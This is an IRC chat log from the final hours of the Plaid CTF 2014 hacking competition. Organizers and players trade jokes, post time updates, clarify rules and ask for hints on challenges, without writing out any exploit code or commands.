19:20 #pctf: < geobot> darn, we should use pm for kpop?
19:21 -!- inter [~inter@d99-199-6-217.bchsia.telus.net] has joined #pctf
19:22 -!- chrissing [~nullProte@pool-71-191-221-210.washdc.fios.verizon.net] has joined #pctf
19:22 #pctf: < Zoro> What are the CHANCE tiles for?
19:22 #pctf: <+tylerni7> Zoro: read the rules
19:22 -!- mode/#pctf [+o cai_] by ChanServ
19:22 -!- copyleft_ [~copyleft@66.55.134.203] has joined #pctf
19:23 -!- cai_ changed the topic of #pctf to: [Plaid CTF 2014 - play.plaidctf.com] 2.5 Hours left | $40 added to each cash prizes so far (from CHANCE card)
19:23 #pctf: <@cai_> apparently i missed one :p
19:23 #pctf: <+tylerni7> :O
19:23 -!- [GoN]Jakkdu [~GoNJakkd@143.248.235.24] has joined #pctf
19:23 -!- mode/#pctf [-o cai_] by ChanServ
19:23 -!- PoopyPantsSr [~user@c-68-49-76-217.hsd1.md.comcast.net] has joined #pctf
19:23 #pctf: < jagger_> 2.5h? and not 1.5?
19:23 #pctf: <+cai_> 1.5
19:23 #pctf: <+cai_> i only updated the cash bonus. i'll update topic again
19:24 -!- mode/#pctf [+o cai_] by ChanServ
19:24 -!- bool1011 [~bool@c-67-163-29-185.hsd1.in.comcast.net] has joined #pctf
19:24 -!- cai_ changed the topic of #pctf to: [Plaid CTF 2014 - play.plaidctf.com] 1.5 Hours left | $40 added to each cash prizes so far (from CHANCE card)
19:24 -!- mode/#pctf [-o cai_] by ChanServ
19:28 #pctf: <+mserrano> Hi Brooklynt Overflow
19:28 #pctf: <+mserrano> We are glad you had a burger for lunch and it was good
19:28 #pctf: <+dickoff> Brooklynt_Overfl: Where'd you get your burger
19:28 #pctf: <+ricky> We had Indian food for lunch
19:28 #pctf: <+ricky> It was better than your burger
19:28 #pctf: <+tylerni7> ricky: did you get it from the place on craig?
19:28 #pctf: <+ricky> Yup
19:28 #pctf: <+tylerni7> how was it?
19:28 #pctf: <+ricky> Big fan of that place
19:28 #pctf: <+tylerni7> I've never been there
19:28 #pctf: <+tylerni7> not tamarind, righ?
19:28 #pctf: <+ricky> Oh you've got to try it
19:28 #pctf: <+tylerni7> right*
19:29 #pctf: <+ricky> No, Kohli's
19:29 #pctf: <+tylerni7> huh
19:29 #pctf: < zoku> I have ezhp working locally, but not on your server?
19:29 #pctf: <+mserrano> tylerni7: tamarind is super good but way more expensive
19:29 #pctf: <+mserrano> zoku: are you assuming aslr is off
19:29 #pctf: < zoku> yes
19:29 #pctf: <+tylerni7> I went to the old one before they shut down, and it was /ok/
19:29 #pctf: <+mserrano> because that assumption is wrong
19:29 -!- bool101 [~bool@unaffiliated/bool101] has joined #pctf
19:29 #pctf: < zoku> er, sorry mserrano, no
19:29 #pctf: <+tylerni7> hadn't been to the new one
19:29 #pctf: < zoku> mserrano: it runs on my server with aslr on
19:29 #pctf: < zoku> $ cat /proc/sys/kernel/randomize_va_space
19:29 #pctf: < zoku> 2
19:29 #pctf: <+mserrano> zoku: on some systems aslr does not randomize the relevant thing
19:29 #pctf: <+mserrano> on our system it does
19:29 #pctf: <+mserrano> v0v
19:29 #pctf: < zoku> god damnit
19:29 #pctf: <+tylerni7> oh boy, dragon sector got zfs
19:30 #pctf: <+tylerni7> :O
19:30 #pctf: <+ricky> Uh oh
19:30 #pctf: <+mserrano> The binary running on the server is the same as the one we gave you
19:30 #pctf: <+tylerni7> WHO WILL WIN
19:30 #pctf: <+ricky> Getting cloes again
19:30 #pctf: <+tylerni7> this is so exciting
19:30 #pctf: <+mserrano> and it has been confirmed to work
19:30 #pctf: <+mserrano> MUCH EXCITE
19:30 #pctf: <+mserrano> SUCH WOW
19:30 #pctf: <+ricky> I think whoever hacks the Bigson will win
19:30 #pctf: <+mserrano> VERY FLAGE
19:30 #pctf: < geobot> teh flage is not poop
19:30 #pctf: <+mserrano> MANY CTF
19:30 #pctf: <+ricky> So you should all drop everything and go hack the Bigson
19:30 #pctf: <+frozencemetery> worship the old norse gods!
19:30 #pctf: <+tylerni7> geobot: that's not even true!
19:30 #pctf: < geobot> not even tried to determine who gets to you might be stuck on some inconsistencies in windows but works
19:30 #pctf: <+dickoff> geobot: don't leak flags in channel please
19:30 #pctf: < clockish> geobot: you lie!
19:30 #pctf: <+ricky> geobot: banana
19:31 #pctf: <+mserrano> geobot: banana
19:31 #pctf: <+houqp_> geobot: banana
19:31 #pctf: < clockish> geobot: banana banana banana banana banana banana
19:31 #pctf: <+cai_> geobot: banana
19:31 #pctf: <+dickoff> I like bananas
19:31 #pctf: < wtbw> O_o
19:31 #pctf: <+frozencemetery> geobot: bananananananabatman
19:31 #pctf: < clockish> banana banana banana banana banana banana
19:31 #pctf: <+houqp_> geobot: poopnana
19:31 #pctf: <+dickoff> he's too clever for us
19:32 #pctf: < KT> lol :)
19:32 -!- copyleft_ [~copyleft@209.222.15.233] has joined #pctf
19:33 #pctf: <+ricky> You can hack the Bigson from a mobile device - isn't web awesome?
19:33 -!- sweet_potatoes [~sweet_pot@113.162.145.1] has joined #pctf
19:33 #pctf: < Thordenm> ricky: but can you do it with punchcards?
19:33 -!- zoomequipd [~zoomequip@gateway/tor-sasl/zoomequipd] has joined #pctf
19:34 -!- nonconstant [c1e17dfd@gateway/web/freenode/ip.193.225.125.253] has joined #pctf
19:34 #pctf: < sweet_potatoes> any hint for web200 (javascript one) :/ ?
19:34 #pctf: < oceanx> banananaaaaa
19:34 #pctf: < sweet_potatoes> lolz
19:34 -!- asdsaf [~dsa@wsip-72-215-223-131.om.om.cox.net] has joined #pctf
19:34 #pctf: < sweet_potatoes> oceanx: sexy ?
19:34 #pctf: < sigsegv_> any hints on stego?
19:34 #pctf: < geobot> i'm done according to organizers told us hints
19:34 #pctf: <+tylerni7> sigsegv_: the flag is INSIDE THE COMPUTER
19:34 -!- _joe_ [~The@174-22-90-162.sxfl.qwest.net] has joined #pctf
19:34 #pctf: < inter> tylerni7: NO THE FLAG IS IN YOUR MIND
19:35 #pctf: < inter> SO YOU TELL; ME
19:35 #pctf: < Zerith> where do I enter a key for Misc ? :\
19:35 #pctf: < geobot> just enter the r_netsec folks
19:35 #pctf: < Zerith> oops
19:35 #pctf: < Zerith> ignore dat
19:35 #pctf: <+mserrano> Zerith: same place you enter any key
19:35 #pctf: <+mserrano> lol
19:35 #pctf: <+frozencemetery> i,i bend over and I'll show you
19:35 #pctf: < inter> you shouldve
19:35 #pctf: < inter> named the multiplication question "multiplication is gay"
19:36 #pctf: <+frozencemetery> yeah that's not happening inter.
19:36 #pctf: < _blasty_> ok
19:36 #pctf: < Pitr_>  wrong. gay multiplication is an oxymoron amongst almost all species.
19:36 #pctf: < `Peluche> For chall graphs (crypto 200), when we got the message, do we have to do someting next with the message or the message is the flag ?
19:37 #pctf: <+mserrano> `Peluche: the message is the flag
19:37 #pctf: < geobot> geobot can always know who own the message someone about 5 hours
19:37 #pctf: <+mserrano> but you can decode the number into text
19:39 -!- Digihash [~Digihash@dD576DCCA.access.telenet.be] has joined #pctf
19:39 #pctf: < `Peluche> mserrano: ok. thanks, so I guess I don't have the good number ^^
19:39 #pctf: < HeartLESS_> who is not busy? Have a question about web100
19:39 #pctf: < geobot> re200 runned correctly but not the video on web100 please?
19:40 -!- bool_101 [~bool@c-67-163-29-185.hsd1.in.comcast.net] has joined #pctf
19:40 #pctf: < HeartLESS_> ricky, I`ve wrote you pm
19:40 #pctf: < inter> tylerni7 is watching ponies, so hes not busy HeartLESS_
19:40 #pctf: < HeartLESS_> written*
19:40 -!- [CISSP]HoLyVieR [~HoLyVieR@bas2-montreal48-1128592620.dsl.bell.ca] has joined #pctf
19:40 #pctf: <+cai_> HeartLESS_: you can pm me
19:42 -!- shuckens [~Adium@host-252-206-107-208.midco.net] has joined #pctf
19:43 -!- Gut_ [uid24602@gateway/web/irccloud.com/x-lpojyjxhyocewncw] has joined #pctf
19:44 #pctf: < zoku> I've been working on ezhp all weekend and it works on all my systemmss, I just wanna scoree!
19:44 -!- rvpersie [~darkwonde@pool-100-1-142-100.nwrknj.fios.verizon.net] has joined #pctf
19:44 -!- bs` [~bs@gateway/tor-sasl/bs/x-48276796] has joined #pctf
19:44 #pctf: <+ricky> zoku: So you have a shell on one of our systems right
19:44 #pctf: <+ricky> Via the sass problem
19:44 #pctf: <+ricky> See if you can make it work on our system
19:45 #pctf: < sven> asking for a friend: what if i root that system to grab the flag? :-P
19:45 #pctf: < geobot> grats stratum auhuur for the web100 flag?
19:46 #pctf: <+tylerni7> sven: hmm ricky what do you think?
19:46 #pctf: <+tylerni7> sven: I'm not sure how much it'll help :P
19:46 #pctf: < geobot> it'll be done this year
19:46 #pctf: < _blasty_> DO WE BURN 0DAY YES NO ?
19:47 #pctf: <+mserrano> _blasty_: you... definitely do not have to
19:47 #pctf: < iago-x86> blackops: obviously
19:47 #pctf: < iago-x86> DOL IT
19:47 #pctf: < iago-x86> DO IT
19:47 #pctf: <+mserrano> _blasty_: you should solve bronies2 though
19:47 #pctf: <+mserrano> you can do it
19:47 #pctf: <+mserrano> I believe in you
19:47 #pctf: <+cai_> _blasty_: you could, and include that in your writeup
19:47 #pctf: <+tylerni7> xD
19:47 #pctf: <+mserrano> pls include full 0day in writeup
19:47 #pctf: <+dickoff> _blasty_: is it worth 4k? :)
19:47 #pctf: <+mserrano> 8k*
19:47 #pctf: < clockish> _blasty_: will trade 0-days 4 flags
19:47 #pctf: <+mserrano> or I guess 4k, yeah
19:47 #pctf: <+tylerni7> mserrano: well 1st vs 2nd
19:48 -!- DeadheadTn [~xtr4@41.226.164.163] has joined #pctf
19:49 #pctf: <+cai_> man, it's gonna be a huge pain to do a write-up for the ctf.. lol 30 something problems
19:49 #pctf: <+cai_> good luck..
19:49 #pctf: <+ricky> Hehe
19:49 #pctf: <+ricky> Didn't think of that :-)
19:49 #pctf: <+ricky> I see that the bigson is crashing
19:49 #pctf: <+ricky> This is a great sign :-)
19:50 #pctf: < sven> who would make that poor thing crash? :-(
19:50 #pctf: < spq> ricky: can we ask something about web800?
19:50 #pctf: <+ricky> spq: Sure thing
19:50 #pctf: <+mserrano> spq: ask away, you may not get a good answer :P
19:51 #pctf: < iago-x86> Luckily, I only solved a few. Easy to make writeup! :)
19:51 #pctf: <+tylerni7> iago-x86: writeup is just for cash prizes :)
19:51 #pctf: <+ricky> Shhh don't tell him that!
19:51 #pctf: < marcoscars02> xD
19:51 #pctf: <+mserrano> although we would be happy if you wrote writeups anyway :P
19:52 #pctf: <+tylerni7> EVERYONE WHO REGISTED IS REQUIRED TO MAKE WRITEUPS
19:52 #pctf: < marcoscars02> tylerni7, or to fill a blog
19:52 #pctf: < marcoscars02> XD
19:52 -!- nodocify [~nodocify@host-206-230-107-208.midco.net] has joined #pctf
19:52 #pctf: <+tylerni7> otherwise we'll kill you
19:52 #pctf: < clockish> yeah, everyone should do writeups!
19:52 #pctf: < clockish> democratize hacking!
19:52 #pctf: <+tylerni7> clockish: keep hacking elite!
19:52 #pctf: <+mserrano> unless you're tomcr00se in which case no writeups
19:52 #pctf: <+mserrano> in order to keep hacking elite
19:52 #pctf: <+frozencemetery> s/democratize/demoralize/ <-- for the way I read it first
19:52 #pctf: < clockish> tylerni7: up with the proletariat
19:52 #pctf: < poppopret> why does tomcr00se not write writeups?
19:52 #pctf: < inter> cuz he has swag
19:52 #pctf: <+tylerni7> poppopret: he wants to keep hacking elite
19:52 #pctf: <+mserrano> efn
19:52 #pctf: <+tylerni7> poppopret: also he's kind of a dick
19:52 #pctf: <+mserrano> efb*
19:53 #pctf: <+tylerni7> tomcr00se: <3
19:53 -!- mode/#pctf [+o cai_] by ChanServ
19:53 #pctf: <+mserrano> 70min to go
19:53 -!- cai_ changed the topic of #pctf to: [Plaid CTF 2014 - play.plaidctf.com] 1 Hour left | $40 added to each cash prizes so far (from CHANCE card)
19:53 #pctf: <+mserrano> 67*
19:53 -!- mode/#pctf [-o cai_] by ChanServ
19:53 #pctf: <+mserrano> go go go 0xffa/ds/mslc/etc
19:53 #pctf: <+mserrano> WHO WILL WIN THE ULTIMATE SHOWDOWN OF ULTIMATE HACKERY
19:54 #pctf: < clockish> tylerni7: note that we're not exactly great about writeups, either...
19:54 #pctf: <+ricky> Hey when we're required to, we write them
19:54 #pctf: <+cai_> we will turn off the scoreboard for the last hour
19:54 #pctf: <+cai_> j/k
19:55 #pctf: <+ricky> Half the room was about to turn around and yell at cai_
19:55 #pctf: < tokki> lol
19:55 #pctf: <+ricky> (The room we're sitting in)
19:55 #pctf: <+mserrano> naw we shoulda turned it off like 8 hours before the end
19:55 #pctf: < tokki> lool
19:55 #pctf: <+mserrano> codegate style
19:56 #pctf: < [CISSP]HoLyVieR> for the polygon challenge, was there anything posted about the dictionnary we have to brute-force with ? Or just any dictionnary should do ?
19:56 #pctf: < sven> pf, it's way more exciting this way :)
19:56 #pctf: <+mserrano> [CISSP]HoLyVieR: wat
19:56 #pctf: <+ricky> So PPP doesn't do stupid password brute forcing challenges
19:56 #pctf: <+ricky> Unless it's a crypto thing where the brute force is reasonable
19:56 #pctf: < clockish> and local
19:56 #pctf: <+ricky> Please note this for the future :-)
19:56 #pctf: < tokki> lol
19:57 #pctf: < [CISSP]HoLyVieR> "They claim bots can no longer attack the website protected by the Polygon Shifter. Do we need to manually bruteforce the credentials?"
19:57 #pctf: < [CISSP]HoLyVieR> that's in the description
19:57 #pctf: <+mserrano> [CISSP]HoLyVieR: if the question ever mentions manual bruteforcng
19:57 #pctf: <+ricky> OK, that's kind of just part of the whole making fun of shapesecurity
19:57 #pctf: <+mserrano> the answer is not manual bruteforcing
19:57 #pctf: <+mserrano> when's the last time you manually bruteforced something
19:57 #pctf: <+mserrano> and enjoyed it
19:57 #pctf: <+ricky> Like it's supposed to be sarcastic
19:57 #pctf: < [CISSP]HoLyVieR> I'm not manually brute-forcing it
19:57 #pctf: < oceanx> lol
19:57 #pctf: <+mserrano> bruteforce is not the answer
19:58 #pctf: < sven> it's a start, though
19:58 #pctf: <+mserrano> not a good one
19:58 #pctf: < sven> never claimed that :)
19:58 #pctf: < foundation> say no to manual bruteforcee!
19:58 #pctf: < tokki> i just had 30mins of manual bruteforcing lol
19:58 #pctf: < Adran> tokki: did that work?
19:58 #pctf: < sven> use automated bruteforce instead. more fun for everyone!
19:58 #pctf: < positron_> how to solve kpop without file write
19:59 #pctf: < tokki> :D YES
19:59 #pctf: < Adran> tokki: *.*
19:59 #pctf: < tokki> positron_: listen to kpops..?
19:59 #pctf: < Adran> ugh
19:59 #pctf: < tokki> *.*
19:59 -!- opxx [5b79cbc3@gateway/web/freenode/ip.91.121.203.195] has joined #pctf
19:59 #pctf: < opxx> how much time left?
19:59 #pctf: < tokki> 1HR
19:59 #pctf: < tokki> 111111
19:59 #pctf: < opxx> damn
20:00 #pctf: < tokki> ikr
20:00 #pctf: < opxx> stil no idwa about that js-web... this one + web800 are the hardest one
20:00 -!- nope_ [81f49032@gateway/web/freenode/ip.129.244.144.50] has joined #pctf
20:00 #pctf: < opxx> *idea
20:00 #pctf: < tokki> GOOD LUCK GUYS FOR THE LAST HOUR
20:00 #pctf: <+ricky> web800 is quality enterprise web
20:00 #pctf: < sven> for some value of quality
20:01 -!- Hero2Morow [43a49c58@gateway/web/cgi-irc/kiwiirc.com/ip.67.164.156.88] has joined #pctf
20:01 #pctf: < opxx> what do u mean by that?
20:01 #pctf: < sven> nothing.
20:01 -!- batzig [~batzig@75-25-137-24.lightspeed.plalca.sbcglobal.net] has joined #pctf
20:01 #pctf: <+ricky> I think 0xffa is about to solve part
20:01 #pctf: <+ricky> 2
20:01 #pctf: < ius> ricky: its not written in java is it
20:01 #pctf: <+ricky> Super super close :-)
20:02 #pctf: < Adran> ricky: i'm presuming you're monitoring the stuff? :P
20:02 #pctf: <+ricky> :-)
20:02 #pctf: <+cai_> Adran: he is :)
20:02 #pctf: < Adran> fun
20:02 -!- comex [~comex@ec2-50-17-179-5.compute-1.amazonaws.com] has joined #pctf
20:02 #pctf: <+ricky> Anyway, I suspect it's gg after you get that
20:02 #pctf: < tokki> ftw!
20:03 #pctf: <+ricky> Nicely done
20:03 -!- deject3d_ [~deject3d@205.204.16.136] has joined #pctf
20:03 #pctf: <+tylerni7> nicely *almost* done
20:03 #pctf: <+tylerni7> :P
20:03 #pctf: <+ricky> I'm sure it's coming any second now
20:03 #pctf: <+tylerni7> that's what she said
20:03 #pctf: < mathiasbynens> :D
20:03 #pctf: <+mserrano> :D
20:03 #pctf: <+ricky> :-(
20:03 -!- sdjakl [~sdjakl@fail0verflow.com] has joined #pctf
20:04 #pctf: < tokki> :D lol
20:06 #pctf: < inter> dude
20:06 #pctf: < inter> i
20:06 #pctf: < inter> i cant
20:06 #pctf: < inter> handle the ponies anymore
20:06 #pctf: < qll> xD
20:06 #pctf: <+ricky> Heheh
20:08 -!- batzig_ [~textual@75-25-137-24.lightspeed.plalca.sbcglobal.net] has joined #pctf
20:09 #pctf: < batzig_> for crypto 200 (graphs) does the decrypted number need to be converted to a string to be submitted?
20:09 #pctf: < tokki> my friend's saying he is getting high on ponies
20:09 #pctf: <+tylerni7> batzig_: yes
20:09 #pctf: < WuZ> I have a question for "rendez-vous", which admin can I pm?
20:09 #pctf: < opxx> any hint for halphow2js will be released?
20:10 #pctf: <+mserrano> 50min
20:10 #pctf: < iZsh> i'm about to have a heartattack
20:10 #pctf: < tokki> they're gonna release hints like
20:10 #pctf:  * sven too
20:10 #pctf: < tokki> in the last 30 seconds
20:10 #pctf: < opxx> ^^
20:10 #pctf: <+mserrano> lol
20:10 #pctf:  * sven can't take the suspense anymore :<
20:10 #pctf: <+mserrano> iZsh / sven: don't die
20:10 #pctf: <+tylerni7> at least not until you solve bronies
20:11 #pctf: < tokki> brownies!
20:11 -!- hammerpig [~user@gateway/tor-sasl/hammerpig] has joined #pctf
20:12 -!- Beched [6daa088b@gateway/web/freenode/ip.109.170.8.139] has joined #pctf
20:12 #pctf: < poppopret> is the polygon challenge supposed to be easy?
20:12 #pctf: <+tylerni7> fairly easy
20:12 #pctf: <+tylerni7> still 100 points though
20:12 -!- snoopybbt [~manu@131.175.28.197] has joined #pctf
20:13 #pctf: < deject3d_> for web100, we can assume the password length is what the page says right
20:13 #pctf: < dwn> I want to know how long hudak took mslc/dragon/etc.
20:13 #pctf: < dwn> because apparently I am really bad
20:13 #pctf: < Pitr_> Can someone explain the last step I'm missing in curlcore, in 1 hour? :)
20:13 #pctf: < poppopret> it's giving me an aneurysm
20:13 #pctf: < dwn> yea.
20:13 #pctf: < dwn> i mean it's fun
20:13 #pctf: < tokki> hudak means fast(?) in korean
20:13 #pctf: <+tylerni7> Pitr_: you can pm me... but I may not be able to help
20:13 #pctf: < dwn> but i am gonna take forever
20:14 #pctf: < factoreal> who solve web_200 reekee?
20:14 #pctf: <+tylerni7> factoreal: you can pm me specific questions about it
20:14 #pctf: < Hero2Morow> is parlor down?
20:14 #pctf: <+tylerni7> Hero2Morow: will check
20:14 #pctf: <+tylerni7> Hero2Morow: no
20:15 #pctf: < NK_> tylerni7: are you guys coming to phdays this year ?
20:15 #pctf: <+tylerni7> NK_: I think a few of us are...
20:16 #pctf: < positron_> gimme hints for kpop
20:16 #pctf: < Hero2Morow> cookie
20:16 #pctf: < Hero2Morow> jk i have no clue
20:16 #pctf: < Hero2Morow> jk i have no clue:(
20:16 -!- shuckens [~Adium@host-252-206-107-208.midco.net] has left #pctf []
20:16 #pctf: < Hero2Morow> ive bene trying to tolve it for 2 days :(
20:16 -!- muchacho [~muchacho@p5480404A.dip0.t-ipconnect.de] has joined #pctf
20:16 #pctf: < sven> hints are for the weak
20:17 #pctf: < tokki> lol if in any quals someone comes up and asks you for an autograph
20:17 #pctf: < tokki> that'll be me
20:17 #pctf: <+mserrano> < 45 minutes
20:17 -!- pcc7 [c0518434@gateway/web/freenode/ip.192.81.132.52] has joined #pctf
20:17 #pctf: < sven> fuckfuckfuck
20:17 #pctf: < tokki> *gasp*
20:17 #pctf: <+houqp_> gogogogogo
20:17 #pctf: < architekt> gogoogo
20:17 #pctf: <+houqp_> geobot: gogogogogo
20:17 #pctf: < tokki> gogogogog
20:18 #pctf: <+tylerni7> dragon sector! you still have time!
20:18 #pctf: < Hero2Morow> gooooooooooooooooooo
20:18 #pctf: < tokki> EVERYONE FTW
20:18 #pctf: < inter> what if i told you the real winner is tylerni7
20:18 #pctf: <+tylerni7> you would be wrong
20:18 #pctf: < halfvollemelk> gogogogogo GUYS!
20:18 #pctf: < inter> he spread the bronies around
20:18 #pctf: < inter> infecting normal people
20:19 #pctf: <+ricky> So cloes so close :-)
20:19 #pctf: < Hero2Morow> DRAGON SECTOR JUST GOT POINTS
20:19 #pctf: < Hero2Morow> DAYYYUUUU,
20:19 #pctf: < Hero2Morow> M
20:19 #pctf: < tokki> DAYUMMMMMN
20:19 #pctf: < acez> anyone here for 'jackshit' challenge ?
20:19 #pctf: < Pitr_> thanks tylerni7, I've got one more thing to try
20:19 #pctf: <+ricky> Uh oh
20:19 #pctf: <+tylerni7> ok
20:19 #pctf: <+mserrano> Hero2Morow: u wot m8
20:19 #pctf: < acez> tylerni7: 'jackshit' challenge admin around ?
20:19 #pctf: <+mserrano> acez: ping clockish
20:19 #pctf: < acez> thanks
20:19 #pctf: < clockish> yeah me
20:20 #pctf: < tokki> fuck my itunes just came on
20:20 #pctf: < tokki> and scared the shit out of me
20:21 #pctf: <+mserrano> < 40
20:21 #pctf: < halfvollemelk> gotta go, great CTF! thanks guys
20:22 #pctf: < Hero2Morow> you could fuck with people so hard
20:22 #pctf: <+mserrano> everybody
20:22 #pctf: <+tylerni7> halfvollemelk: thanks for playing!
20:22 #pctf: <+mserrano> ricky's favorite pony
20:22 #pctf: <+mserrano> is Princess Celestia
20:22 #pctf: < Hero2Morow> by solving a good amount fo the problems
20:22 #pctf: < tokki> ooh
20:22 #pctf: < Hero2Morow> but saving the flags for the last 20 minuteds
20:22 #pctf: <+tylerni7> Hero2Morow: yeahh...
20:22 #pctf: < Hero2Morow> and just jump to the top
20:22 #pctf: <+tylerni7> that's called "being a dick"
20:22 #pctf: < acez> btw the ctf ends in 40 minutes ?
20:22 #pctf: <+tylerni7> acez: 38
20:22 #pctf: <+tylerni7> but yeah
20:22 #pctf: <+tylerni7> (as in, on time)
20:22 #pctf: < acez> k thanks
20:23 #pctf: < Sin__> what did you guys do since the start to make the website more responsive ?
20:23 #pctf: < geobot> hadn't been responsive
20:23 #pctf: < tomcr00se> i think i'm too tired for jackshit
20:23 #pctf: <+tylerni7> Sin__: awesie has a writeup about the site
20:23 #pctf: < Sin__> okay, cool
20:23 #pctf: <+tylerni7> it'll get posted after the ctf
20:24 #pctf: < tomcr00se> all looks like best quality code to me
20:24 #pctf: <+mserrano> tomcr00se: jackshit may be broken
20:24 #pctf: <+ricky> tomcr00se: I think 0xffa solved bronies 2 in about 2 hours or less - you can do it in 30 min, right?
20:24 #pctf: <+mserrano> we are checking
20:24 #pctf: < acez> thanks
20:24 #pctf: <+ricky> Solved meaning got super super cloes
20:24 #pctf: <+tylerni7> mserrano: it's /probably not/ broken
20:24 #pctf: <+tylerni7> but it might be
20:25 #pctf: < tomcr00se> mserrano: OMG THATS JACKSHIT
20:25 #pctf: <+ricky> Hahaha
20:25 #pctf: < tomcr00se> i work so hard
20:25 #pctf: < tomcr00se> think i deserve hint for _nightmare_
20:25 #pctf: <+ricky> Oh maybe more like 3 hours, not sure
20:25 #pctf: < ciliated> where the flag is in reekee
20:25 #pctf: <+ricky> Anyway :-)
20:25 #pctf: <+ricky> The flag is reekee is in a file somewhere I believe
20:25 #pctf: < tokki> tomcr00se:  they're gonna give the hint 30 seconds before the ctf ends
20:26 #pctf: < oceanx> tomcr00se: everyone deserves a hint for _nightmare_ :P
20:26 #pctf: < geobot> skier_ did you get a hint for _nightmare_
20:26 #pctf: < vladum_> quick question about reekee, please?
20:26 #pctf: <+ricky> vladum_: pm tylerni7
20:26 #pctf: < ciliated> +ricky: at which directory?
20:27 #pctf: <+ricky> ciliated: Not sure what directory, you don't need to know to solve it
20:27 -!- erketu [~erketu@5.45.180.209] has joined #pctf
20:27 #pctf: < sdjakl> geobot: ffa hasn't gotten any hints
20:27 #pctf: < geobot> he kinda surprised it hasn't really appreciate your sentiment
20:27 #pctf:  * tokki looks at clock looks at clock looks at clock throws clock
20:28 #pctf: < poppopret> is web150 considered easy or hard?
20:28 #pctf: < geobot> what 8 ctfs offer the most realistic data fetch and not a brony, fwiw, i think some of you sobs do you ball so hard?
20:28 -!- phiber__ [~bleh@79.146.84.198] has joined #pctf
20:29 #pctf: < comex> geobot: i'm a brony
20:29 #pctf: <+tylerni7> geobot: did you like the site?
20:29 #pctf: <+tylerni7> er
20:29 #pctf: <+tylerni7> comex: *
20:29 #pctf: <+ricky> Did you know all the captchas from memor?
20:29 #pctf: < comex> tylerni7: i was asleep for the actual brony part though :(
20:29 #pctf: <+tylerni7> aww
20:29 #pctf: <+tylerni7> that makes me sad
20:30 #pctf:  * ricky whistles
20:30 -!- mode/#pctf [+o mserrano] by ChanServ
20:30 #pctf: < comex> i like the fading colors though
20:30 -!- mserrano changed the topic of #pctf to: [Plaid CTF 2014 - play.plaidctf.com] 30 minutes left | $40 added to each cash prizes so far (from CHANCE card)
20:30 -!- mode/#pctf [-o mserrano] by mserrano
20:30 #pctf: <+tylerni7> comex: yeah, top notch web skillz
20:30 #pctf: < geobot> all 8 users around but nothing that i put into how teams are your skillz at cracking sql dump seem to work with: ctf though -_-
20:30 #pctf: < ryan-c> yay, got parlor
20:31 #pctf: < sdjakl> tylerni7: I swear, the things you made me go through for reekee
20:31 #pctf: < clockish> jackshit updated to remove the stack protector
20:31 #pctf: < sdjakl> tylerni7: (speaking of web skills)
20:31 #pctf: <+dickoff> ANNOUNCE: ---------------- jackshit updated to remove the stack protector --------------------------------
20:31 #pctf: < Beched> huh
20:32 #pctf: < Beched> btw rather nice ctf, i thought it will be worse
20:32 #pctf: < iZsh> meh
20:32 #pctf: < Beched> i mean ppp never makes bad tasks
20:32 #pctf: < zoku> ricky: could you installs trace on the nightmare box?
20:32 #pctf: < ius> ricky: reporting in for knowing some PONIES by heart by now
20:32 #pctf: <+tylerni7> sdjakl: :)
20:32 #pctf: <+tylerni7> Beched: haha
20:32 #pctf: < Beched> but they make only PWN
20:32 #pctf: < iZsh> why do you guys change the binary 30min before the end?
20:32 #pctf: < Beched> and now there're various categories
20:32 #pctf: <+tylerni7> iZsh: because we fucked it up
20:32 #pctf: < zoku> ricky: trying to debug my ezhp exploit
20:32 #pctf: <+ricky> Congrats 0xfaa for solving Bronies 2!
20:32 #pctf: < Beched> but lol even in web there's pwn xD
20:32 #pctf: < geobot> we should make only pwn a setuid binary so ida
20:32 #pctf: <+cai_> Grats :)
20:32 #pctf: <+ricky> Nicely done!
20:32 #pctf: < iZsh> yeah but we worked with that :s
20:32 #pctf: < _blasty_> b0w d0wn
20:32 #pctf: < _blasty_> BOW DOWN
20:32 #pctf: <+mserrano> 0xffa: gg :D
20:32 #pctf: <+ricky> Good game
20:32 #pctf: <+tylerni7> :O
20:32 -!- yyyyyyy [~yyyyyyy@91.229.244.121] has joined #pctf
20:32 #pctf: < tokki> I L PolygonShifter
20:32 #pctf: <+mserrano> (for that problem anyway)
20:32 #pctf: < tokki> <3
20:32 #pctf: <+ricky> Sorry for that horrible C++
20:33 #pctf: <+tylerni7> dragon sector! better finish up bronies!
20:33 #pctf: <+tylerni7> :O
20:33 #pctf: < hellman_> gg
20:33 #pctf: < iZsh> meh, i was working on jackshit :s
20:33 #pctf: < wtbw> chronosphere due to discharge after the game is over
20:33 #pctf: <+tylerni7> iZsh: it's basically the same
20:33 -!- bs` [~bs@gateway/tor-sasl/bs/x-48276796] has left #pctf ["WeeChat 0.4.1"]
20:33 #pctf: <+mserrano> iZsh: the problem is the same, just no stack protector
20:33 #pctf: < Beched> иец
20:33 #pctf: < Beched> btw
20:33 #pctf: < ryan-c> who the hell is 0xffa?
20:33 #pctf: < Beched> who are 0xffa ? O_O
20:33 #pctf: < Beched> lol
20:33 #pctf: < tokki> ㅣㅐㅣ
20:34 #pctf: < tokki> lol
20:34 #pctf: < ryan-c> lol
20:34 #pctf: <+tylerni7> heh
20:34 #pctf: < zoku> ricky: any other suggestions?
20:34 #pctf: < ius> do the maths
20:34 #pctf: < ius> it'll check out
20:34 #pctf: <+frozencemetery> have you ever really looked at your hands?
20:34 #pctf: < zoku> ricky: I'm having a hell of a time debugging over a connectback shell with no tools
20:34 #pctf: < ryan-c> tylerni7: parlor was fun, thanks :D
20:34 #pctf: <+tylerni7> :P
20:34 #pctf: <+tylerni7> ryan-c: glad you enjoyed it :)
20:34 #pctf: <+tylerni7> ius: but.. addition is hard
20:34 #pctf: <+tylerni7> much like multiplication
20:34 #pctf: < foundation> no eindbazen this year? i guess they must have forgotten their password ?
20:34 #pctf: < tokki> lol
20:34 #pctf: <+mserrano> no way
20:35 #pctf: < sdjakl> 0xffa = x+y for x,y (in) Z
20:35 #pctf: < Beched> heh
20:35 #pctf: <+mserrano> we email it to them in plaintext
20:35 #pctf: < tokki> lol
20:35 #pctf: < Beched> yeah btw, Eindbazen have gone
20:35 #pctf: < Beched> hm
20:35 -!- cmplxen [~cmplxen@unaffiliated/cmplxen] has joined #pctf
20:35 #pctf: < ius> x + y = 0xffa, solve for x,y indeed ;)
20:36 -!- random_user_23 [5d6846fd@gateway/web/freenode/ip.93.104.70.253] has joined #pctf
20:36 #pctf: <+ricky> zoku: I think clockish is installing it now
20:36 #pctf: < ryan-c> tylerni7: is the ctf ending on time, or being extended an hour or two?
20:36 #pctf: < clockish> yeah, I'll do it
20:36 #pctf: <+tylerni7> ryan-c: ending on time
